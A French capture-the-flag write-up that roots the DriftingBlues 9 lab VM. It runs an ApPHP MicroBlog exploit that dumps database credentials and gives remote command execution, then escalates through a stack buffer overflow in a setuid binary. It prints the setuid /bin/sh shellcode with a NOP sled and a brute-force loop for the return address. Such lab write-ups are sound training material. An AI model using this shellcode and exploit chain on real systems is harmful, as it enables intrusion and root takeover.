Last but not least
Vu que la 8ème VM DriftingBlues n’est pas sur VulnHub, je m’en prend au dernier épisode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for 192.168.56.13
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
|_http-title: ApPHP MicroBlog
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 44352/udp status
| 100024 1 46642/tcp6 status
| 100024 1 53750/tcp status
|_ 100024 1 56507/udp6 status
53750/tcp open status 1 (RPC #100024)
On a une appli web baptisée ApPHP MicroBlog. Dans le code HTML de la page on trouve le commentaire suivant :
1
This script was generated by ApPHP MicroBlog v.1.0.1 (http://www.apphp.com/php-microblog/)
En cherchant un exploit sur exploit-db j’en trouve un qui m’est rapidement familier… car c’est moi qui l’avait écrit… il y a 8 ans. J’avais oublié :p
La bonne nouvelle c’est qu’il fonctionne toujours comme un charme :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ python apphp.py http://192.168.56.13/index.php
-= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable
[*] Fecthing phpinfo
PHP Version 5.6.40-0+deb8u12
System Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686
Loaded Configuration File /etc/php5/apache2/php.ini
Apache Version Apache/2.4.10 (Debian)
User/Group www-data(33)/33
Server Root /etc/apache2
DOCUMENT_ROOT /var/www/html
PHP Version 5.6.40-0+deb8u12
allow_url_fopen On On
allow_url_include Off Off
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,p
cntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_w
ifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_ex
ec,pcntl_getpriority,pcntl_setpriority,
open_basedir no value no value
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
[*] Fetching include/base.inc.php
<?php
// DATABASE CONNECTION INFORMATION
define('DATABASE_HOST', 'localhost'); // Database host
define('DATABASE_NAME', 'microblog'); // Name of the database to be used
define('DATABASE_USERNAME', 'clapton'); // User name for access to database
define('DATABASE_PASSWORD', 'yaraklitepe'); // Password for access to database
define('DB_ENCRYPT_KEY', 'p52plaiqb8'); // Database encryption key
define('DB_PREFIX', 'mb101_'); // Unique prefix of all table names in the database
?>
[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
J’uploade et exécute ReverseSSH sur la machine… Ça ne fonctionne pas, le système est 32 bits. Récupération de la version adéquate et c’est reparti.
Je remarque un utilisateur clapton sur le système. Son mot de passe de session est le même que celui dumpé par l’exploit, je m’y connecte.
Try again and again and again…
L’utilisateur a trois fichiers dans son dossier personnel dont un binaire setuid root :
1
2
3
-rwsr-xr-x 1 root root 5150 Sep 22 2015 input
-rwxr-xr-x 1 root root 201 May 9 2021 note.txt
-rw-r--r-- 1 clapton clapton 32 May 9 2021 user.txt
On obtient le flag F569AA95FAFF65E7A290AB9ED031E04F. La note laissée est la suivante :
1
2
3
4
5
6
buffer overflow is the way. ( ͡° ͜ʖ ͡°)
if you're new on 32bit bof then check these:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
Ça devrait aller sans les références, j’en ai vu d’autres :)
Première chose à faire, regarder la gestion de la stack sur ce système :
1
2
clapton@debian:~$ cat /proc/sys/kernel/randomize_va_space
2
Ce qui signifie que l’adresse de la stack change à chaque exécution, ça complique les choses. Il va falloir utiliser un ret2libc ou un gadget quelconque.
L’exécutable lui a sa stack qui permet l’exécution et il n’y a pas non plus de protections par canary (stack protector).
Voici le dump de la fonction main du binaire (l’exécutable n’est pas strippé non plus) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x0804845d <+0>: push %ebp
0x0804845e <+1>: mov %esp,%ebp
0x08048460 <+3>: and $0xfffffff0,%esp
0x08048463 <+6>: sub $0xb0,%esp
0x08048469 <+12>: cmpl $0x1,0x8(%ebp)
0x0804846d <+16>: jg 0x8048490 <main+51>
0x0804846f <+18>: mov 0xc(%ebp),%eax
0x08048472 <+21>: mov (%eax),%eax
0x08048474 <+23>: mov %eax,0x4(%esp)
0x08048478 <+27>: movl $0x8048540,(%esp)
0x0804847f <+34>: call 0x8048310 <printf@plt>
0x08048484 <+39>: movl $0x0,(%esp)
0x0804848b <+46>: call 0x8048340 <exit@plt>
0x08048490 <+51>: mov 0xc(%ebp),%eax
0x08048493 <+54>: add $0x4,%eax
0x08048496 <+57>: mov (%eax),%eax
0x08048498 <+59>: mov %eax,0x4(%esp)
0x0804849c <+63>: lea 0x11(%esp),%eax
0x080484a0 <+67>: mov %eax,(%esp)
0x080484a3 <+70>: call 0x8048320 <strcpy@plt>
0x080484a8 <+75>: mov $0x0,%eax
0x080484ad <+80>: leave
0x080484ae <+81>: ret
Le programme prend juste le premier argument reçu sur la ligne de commande et le copie dans la stack avec strcpy. On peut voir que 176 octets sont réservés sur la pile (sub $0xb0,%esp).
Je place un breakpoint sur l’instruction ret et j’exécute le programme avec 176 fois la lettre A. Ma pile débute bien avec le buffer attendu, prêt à écraser l’adresse de retour.
Malheureusement l’état des autres registres rend impossible l’utilisation d’un gadget (on ne peut pas par exemple réutiliser une instruction qui saute vers l’adresse contenue dans EAX).
Mais si on est sur du x86 c’est sans doute pour une bonne raison. L’espace d’adressage étant réduit on peut bruteforcer l’adresse de retour jusqu’à ce quelle pointe correctement sur notre payload.
J’utilise la technique old-school consistant à mettre un shellcode avec un énorme nopsled dans l’environnement.
Je débogue le binaire histoire d’avoir une idée des adresses correspondant aux variables d’environnement :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) x/wx $ebp+8
0xbfa26950: 0x00000002
(gdb)
0xbfa26954: 0xbfa269e4
(gdb)
0xbfa26958: 0xbfa269f0
(gdb)
0xbfa2695c: 0xb7701e9a
(gdb) x/wx 0xbfa269e4
0xbfa269e4: 0xbfa27e2c
(gdb) x/s 0xbfa27e2c
0xbfa27e2c: "/home/clapton/input"
(gdb)
0xbfa27e40: 'a' <repeats 175 times>
(gdb) x/wx 0xbfa269f0
0xbfa269f0: 0xbfa27ef0
(gdb) x/s 0xbfa27ef0
0xbfa27ef0: "TERM=xterm-256color"
A $ebp+8 au début de la fonction on trouve argc (sa valeur est 2) puis le tableau vers des strings argv. Ensuite se trouve envp qui est le tableau vers les chaines d’environement.
J’ai ensuite relancé l’analyse après avoir exporté dans l’environnement une valeur de 5000 caractères. J’ai calculé que le milieu de cette variable était à l’adresse 0xbfa69521, je vais donc m’en servir comme hypothétique adresse de retour.
J’ai trouvé un shellcode classique pour appeler setuid et exécuter /bin/sh.
Je l’injecte dans l’environnement avec son nopsled :
1
export SHELLCODE=`python -c "print '\x90' * 5000 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\x99\xcd\x80\x96\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'"
Finalement j’écris un petit code pour lancer en boucle le binaire jusqu’à ce que l’adresse de retour pointe vers notre shellcode :
1
2
3
4
5
6
7
import os
import sys
padding = int(sys.argv[1])
while True:
os.system("./input " + 'a'*padding + '\x21\x95\xa6\xbf'*44)
Avec un padding de 3 caractères (pour que l’adresse de retour s’aligne avec la pile) j’obtiens un shell après un moment :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
clapton@debian:~$ python brute.py 3
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
--- snip ---
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
# id
uid=0(root) gid=1000(clapton) groups=1000(clapton)
# cd /root
# ls
root.txt
# cat root.txt
this is the final of driftingblues series. i hope you've learned something from them.
you can always contact me at vault13_escape_service[at]outlook.com for your questions. (mail language: english/turkish)
your root flag:
04D4C1BEC659F1AA15B7AE731CEEDD65
good luck. ( ͡° ͜ʖ ͡°)
Sympa
Published January 21 2022 at 12:05